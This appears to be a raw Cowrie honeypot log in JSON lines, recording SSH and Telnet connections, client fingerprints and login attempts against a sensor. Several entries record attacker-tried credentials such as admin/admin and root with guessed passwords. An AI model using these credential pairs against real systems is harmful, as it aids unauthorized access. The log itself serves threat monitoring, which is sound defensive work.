{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:26.624096Z","src_ip":"107.173.199.134","session":"c83031b52ca8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:26.775570Z","src_ip":"107.173.199.134","session":"c83031b52ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:26.853952Z","src_ip":"107.173.199.134","session":"c83031b52ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":43194,"dst_ip":"10.17.0.5","dst_port":23,"session":"b710bcc5d96c","protocol":"telnet","message":"New connection: 193.22.147.168:43194 (10.17.0.5:23) [session: b710bcc5d96c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:27.002298Z"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":10718,"dst_ip":"159.203.135.109","dst_port":22,"session":"66a3f14095de","protocol":"ssh","message":"New connection: 130.12.180.51:10718 (159.203.135.109:22) [session: 66a3f14095de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:27.009327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:27.014099Z","src_ip":"130.12.180.51","session":"66a3f14095de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:27.095781Z","src_ip":"130.12.180.51","session":"66a3f14095de","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:27.341165Z","src_ip":"130.12.180.51","session":"66a3f14095de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.75173759460449,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:27.578872Z","src_ip":"193.22.147.168","session":"14ba9b180e2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":58808,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc121d116161","protocol":"ssh","message":"New connection: 165.154.6.69:58808 (159.203.135.109:22) [session: bc121d116161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:27.658952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:27.663477Z","src_ip":"165.154.6.69","session":"bc121d116161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:27.860964Z","src_ip":"130.12.180.51","session":"66a3f14095de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:27.885606Z","src_ip":"165.154.6.69","session":"bc121d116161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50130,"dst_ip":"159.203.135.109","dst_port":23,"session":"edf51aef44bf","protocol":"telnet","message":"New connection: 174.142.104.49:50130 (159.203.135.109:23) [session: edf51aef44bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:28.121156Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lx123456!","message":"login attempt [root/Lx123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:28.806844Z","src_ip":"165.154.6.69","session":"bc121d116161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51138,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b14413b9ca4","protocol":"telnet","message":"New connection: 174.142.104.49:51138 (159.203.135.109:23) [session: 1b14413b9ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:28.864081Z"}
{"eventid":"cowrie.session.closed","duration":30.719224214553833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:29.193985Z","src_ip":"193.22.147.168","session":"e5dadd127cee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":50732,"dst_ip":"10.17.0.5","dst_port":23,"session":"c428bc6cf38f","protocol":"telnet","message":"New connection: 193.22.147.168:50732 (10.17.0.5:23) [session: c428bc6cf38f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:29.780538Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:30.031932Z","src_ip":"165.154.6.69","session":"bc121d116161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.774120807647705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:31.230773Z","src_ip":"193.22.147.168","session":"4c6c8e70984b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.58270835876465,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:31.386999Z","src_ip":"193.22.147.168","session":"9dd26e639372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56622,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d147691eb73","protocol":"telnet","message":"New connection: 174.142.104.49:56622 (159.203.135.109:23) [session: 8d147691eb73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:31.475989Z"}
{"eventid":"cowrie.session.closed","duration":32.23166513442993,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:31.788052Z","src_ip":"193.22.147.168","session":"ccf9ef3ee5dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.761181116104126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:31.903251Z","src_ip":"161.132.53.68","session":"9f1eea198841","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53344,"dst_ip":"159.203.135.109","dst_port":23,"session":"666b1311e4b6","protocol":"telnet","message":"New connection: 174.142.104.49:53344 (159.203.135.109:23) [session: 666b1311e4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:32.352183Z"}
{"eventid":"cowrie.session.closed","duration":30.54619026184082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:33.486196Z","src_ip":"174.142.104.49","session":"c3c1e01a5658","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00164794921875,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:33.885159Z","src_ip":"174.142.104.49","session":"4311ef231651","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.42409372329712,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:34.260684Z","src_ip":"193.22.147.168","session":"fdb10401e810","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.07446050643921,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:35.222780Z","src_ip":"161.132.53.68","session":"134b9c5831b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68471097946167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:35.639426Z","src_ip":"174.142.104.49","session":"d59fbcf66a7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33744,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bc0e6d5abbb","protocol":"telnet","message":"New connection: 174.142.104.49:33744 (159.203.135.109:23) [session: 5bc0e6d5abbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:36.052078Z"}
{"eventid":"cowrie.session.closed","duration":30.70344114303589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:36.116120Z","src_ip":"161.132.53.68","session":"07e8bd0616cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":50736,"dst_ip":"10.17.0.5","dst_port":23,"session":"d610ee8d42a0","protocol":"telnet","message":"New connection: 193.22.147.168:50736 (10.17.0.5:23) [session: d610ee8d42a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:38.137885Z"}
{"eventid":"cowrie.session.closed","duration":32.00094509124756,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:39.004297Z","src_ip":"174.142.104.49","session":"a152c794bdc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00149250030518,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:39.190583Z","src_ip":"174.142.104.49","session":"f3f833674da1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":50752,"dst_ip":"10.17.0.5","dst_port":23,"session":"26680dcd2265","protocol":"telnet","message":"New connection: 193.22.147.168:50752 (10.17.0.5:23) [session: 26680dcd2265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:41.177628Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":55602,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b6d1e70aef0","protocol":"telnet","message":"New connection: 193.22.147.168:55602 (10.17.0.5:23) [session: 9b6d1e70aef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:41.892867Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44500,"dst_ip":"159.203.135.109","dst_port":23,"session":"089e6dc52ce9","protocol":"telnet","message":"New connection: 174.142.104.49:44500 (159.203.135.109:23) [session: 089e6dc52ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:42.460551Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":55586,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd035f024e5e","protocol":"telnet","message":"New connection: 193.22.147.168:55586 (10.17.0.5:23) [session: fd035f024e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:42.900278Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45512,"dst_ip":"159.203.135.109","dst_port":23,"session":"efffa4082b26","protocol":"telnet","message":"New connection: 174.142.104.49:45512 (159.203.135.109:23) [session: efffa4082b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:43.110476Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":55620,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa5cee0f126d","protocol":"telnet","message":"New connection: 193.22.147.168:55620 (10.17.0.5:23) [session: aa5cee0f126d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:45.210801Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37858,"dst_ip":"159.203.135.109","dst_port":23,"session":"51ae30531c8e","protocol":"telnet","message":"New connection: 174.142.104.49:37858 (159.203.135.109:23) [session: 51ae30531c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:45.225764Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":55604,"dst_ip":"10.17.0.5","dst_port":23,"session":"0533f2997f2d","protocol":"telnet","message":"New connection: 193.22.147.168:55604 (10.17.0.5:23) [session: 0533f2997f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:45.519372Z"}
{"eventid":"cowrie.session.closed","duration":31.52552032470703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:45.616596Z","src_ip":"193.22.147.168","session":"8a12ccf4dd14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":55632,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b20e5aa4a9e","protocol":"telnet","message":"New connection: 193.22.147.168:55632 (10.17.0.5:23) [session: 3b20e5aa4a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:46.563995Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60930,"dst_ip":"159.203.135.109","dst_port":23,"session":"122dc50960d2","protocol":"telnet","message":"New connection: 174.142.104.49:60930 (159.203.135.109:23) [session: 122dc50960d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:47.077453Z"}
{"eventid":"cowrie.session.closed","duration":0.004365205764770508,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:47.081702Z","src_ip":"174.142.104.49","session":"122dc50960d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.400930881500244,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:47.521901Z","src_ip":"193.22.147.168","session":"2c46f973ec57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":55648,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f7abd748e0a","protocol":"telnet","message":"New connection: 193.22.147.168:55648 (10.17.0.5:23) [session: 6f7abd748e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:47.565024Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":44850,"dst_ip":"159.203.135.109","dst_port":22,"session":"2779c4aa5664","protocol":"ssh","message":"New connection: 200.105.172.184:44850 (159.203.135.109:22) [session: 2779c4aa5664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:48.165820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:48.173867Z","src_ip":"200.105.172.184","session":"2779c4aa5664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":50246,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fe75b5a2b75","protocol":"ssh","message":"New connection: 96.78.175.36:50246 (10.17.0.5:22) [session: 7fe75b5a2b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:48.286965Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:48.292466Z","src_ip":"200.105.172.184","session":"2779c4aa5664","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:48.303593Z","src_ip":"96.78.175.36","session":"7fe75b5a2b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:48.384687Z","src_ip":"96.78.175.36","session":"7fe75b5a2b75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123,./","message":"login attempt [root/asd123,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:51:48.745471Z","src_ip":"96.78.175.36","session":"7fe75b5a2b75","protocol":"ssh"}
